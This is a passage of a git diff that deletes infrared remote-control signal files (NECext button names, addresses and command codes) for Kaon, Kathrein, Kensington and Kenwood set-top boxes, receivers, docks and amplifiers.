-protocol: NECext -address: 20 08 00 00 -command: 05 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 06 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 07 00 00 00 -# -name: TV/STB -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 08 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 10 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 13 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 15 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 16 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 18 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 19 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 40 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 41 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 42 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 44 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 45 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 46 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir deleted file mode 100644 index ad694d318..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 03 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 04 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 05 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 06 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 07 00 00 00 -# -name: TvStb -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 08 00 00 00 -# -name: VFormat -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 09 00 00 00 -# -name: Alr -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 0A 00 00 00 -# -name: ALanguage -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 0B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 0C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 0D 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 0E 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 10 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 13 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 15 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 16 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 18 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 19 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 40 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 41 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 42 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 44 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 45 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 46 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir deleted file mode 100644 index ccde71373..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir +++ /dev/null @@ -1,446 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 00 00 00 00 -# -name: 0_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 01 00 00 00 -# -name: 1_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 02 00 00 00 -# -name: 2_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 03 00 00 00 -# -name: 3_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 04 00 00 00 -# -name: 4_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 05 00 00 00 -# -name: 5_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 06 00 00 00 -# -name: 6_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 07 00 00 00 -# -name: 7_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 08 00 00 00 -# -name: 8_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 09 00 00 00 -# -name: 9_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 0C 00 00 00 -# -name: POWER_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 0D 00 00 00 -# -name: MUTE_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 0D 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 0F 00 00 00 -# -name: I_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 0F 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 10 00 00 00 -# -name: VOLUME_UP_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 10 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 11 00 00 00 -# -name: VOLUME_DOWN_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 11 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_UP_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 1F 00 00 00 -# -name: CHANNEL_DOWN_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 1F 00 00 00 -# -name: FFW_>> -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 20 00 00 00 -# -name: FFW_>>_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 20 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 21 00 00 00 -# -name: REW_<<_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 21 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 31 00 00 00 -# -name: STOP_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 31 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 37 00 00 00 -# -name: RECORD_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 37 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 38 00 00 00 -# -name: PLAY_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 38 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 39 00 00 00 -# -name: PAUSE_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 39 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 3C 00 00 00 -# -name: TEXT_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 3C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 54 00 00 00 -# -name: MENU_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 54 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 55 00 00 00 -# -name: EXIT_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 55 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 58 00 00 00 -# -name: CURSOR_UP_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 58 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 59 00 00 00 -# -name: CURSOR_DOWN_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 59 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 5A 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 5A 00 00 00 -# -name: CURSOR_LEFT_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 5A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 5B 00 00 00 -# -name: CURSOR_RIGHT_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 5B 00 00 00 -# -name: CURSOR_CENTER/OK -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 5C 00 00 00 -# -name: CURSOR_CENTER/OK_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 5C 00 00 00 -# -name: FAV/RED/ROT -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 6D 00 00 00 -# -name: FAV/RED/ROT_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 6D 00 00 00 -# -name: N -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 6E 00 00 00 -# -name: N_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 6E 00 00 00 -# -name: OPT/YELLOW/GELB -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 6F 00 00 00 -# -name: OPT/YELLOW/GELB_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 6F 00 00 00 -# -name: TV/R/BLUE/BLAU -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 70 00 00 00 -# -name: TV/R/BLUE/BLAU_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 70 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 22 90 00 00 -command: CC 00 00 00 -# -name: EPG_B -type: parsed -protocol: NECext -address: 22 90 00 00 -command: CC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir deleted file mode 100644 index ef664d65f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: R -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: CURSOR_CENTER/OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: UHR_(SYMBOL) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: POWER_(SYMBOL) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: MUTE_(SYMBOL) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: CURSOR_VOL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: CURSOR_VOL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: L -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: EIERUHR_(SYMBOL) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: STEREO_(SYMBOL) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: F -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/Satellite/34,144.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/Satellite/34,144.ir deleted file mode 100644 index 7604bee03..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/Satellite/34,144.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 00 00 00 00 -# -name: 1/POWER_ON -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 09 00 00 00 -# -name: POWER_OFF/STANDBY -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 0D 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 11 00 00 00 -# -name: PROG_+ -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 1E 00 00 00 -# -name: PROG_- -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 1F 00 00 00 -# -name: FFW -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 20 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 21 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 31 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 37 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 38 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 39 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 3C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 54 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 55 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 58 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 59 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 5A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 5B 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 5C 00 00 00 -# -name: ROT/RED_FAV -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 6D 00 00 00 -# -name: N/GREEN_PIP -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 6E 00 00 00 -# -name: GELB/YELLOW_OPT -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 6F 00 00 00 -# -name: BLAU/BLUE_TV/R -type: parsed -protocol: NECext -address: 22 90 00 00 -command: 70 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 22 90 00 00 -command: CC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir deleted file mode 100644 index d5ec1d201..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_R -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: ab -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: off -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: dwn -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_L -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: mid -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: stero -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_F -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir deleted file mode 100644 index c91085b39..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 33 AA 00 00 -command: 00 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 33 AA 00 00 -command: 04 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 33 AA 00 00 -command: 08 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 33 AA 00 00 -command: 0C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 33 AA 00 00 -command: 17 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir deleted file mode 100644 index b1b176579..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 33 AA 00 00 -command: 00 00 00 00 -# -name: 1_VOLUME_- -type: parsed -protocol: NECext -address: 33 AA 00 00 -command: 00 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 33 AA 00 00 -command: 04 00 00 00 -# -name: 1_TRACK_+ -type: parsed -protocol: NECext -address: 33 AA 00 00 -command: 04 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 33 AA 00 00 -command: 08 00 00 00 -# -name: 1_PLAY/PAUSE -type: parsed -protocol: NECext -address: 33 AA 00 00 -command: 08 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 33 AA 00 00 -command: 0C 00 00 00 -# -name: 1_TRACK_- -type: parsed -protocol: NECext -address: 33 AA 00 00 -command: 0C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 33 AA 00 00 -command: 17 00 00 00 -# -name: 1_VOLUME_+ -type: parsed -protocol: NECext -address: 33 AA 00 00 -command: 17 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir deleted file mode 100644 index 219a9044a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: +10 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0D 00 00 00 -# -name: TIME_DISPLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 81 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 82 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 83 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 84 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 85 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 86 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 87 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 88 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 89 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 97 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: P_MODE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C4 00 00 00 -# -name: CLEAR_/_PTY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CA 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir deleted file mode 100644 index 5bd9c76fd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 5A 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 5E 00 00 00 -# -name: FOLDER_NEXT -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 91 00 00 00 -# -name: FOLDER_PREV -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 92 00 00 00 -# -name: 